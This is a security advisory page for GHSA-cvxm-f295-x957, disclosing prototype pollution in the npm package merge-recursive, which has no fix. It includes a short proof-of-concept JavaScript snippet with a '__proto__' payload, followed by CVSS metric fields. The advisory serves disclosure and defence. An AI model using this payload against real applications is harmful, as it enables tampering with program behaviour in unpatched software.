GHSA-cvxm-f295-x957

    Dashboard / Vulnerabilities / GHSA-cvxm-f295-x957

    GHSA-cvxm-f295-x957

    Published: 18 Sept 2018Last Modified: 8 Nov 2023
    Aliases:

    Summary: Prototype Pollution in merge-recursive

    Details: All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property. Proof of concept: ```js var merge = require('merge-recursive').recursive; var malicious_payload = '{"__proto__":{"oops":"It works !"}}'; var a = {}; console.log("Before : " + a.oops); merge({}, JSON.parse(malicious_payload)); console.log("After : " + a.oops); ``` ## Recommendation There is currently no fix available.

    Affected packages

    Package

    Name: merge-recursive

    Purl: pkg:npm/merge-recursive

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-cvxm-f295-x957 | CVE-DB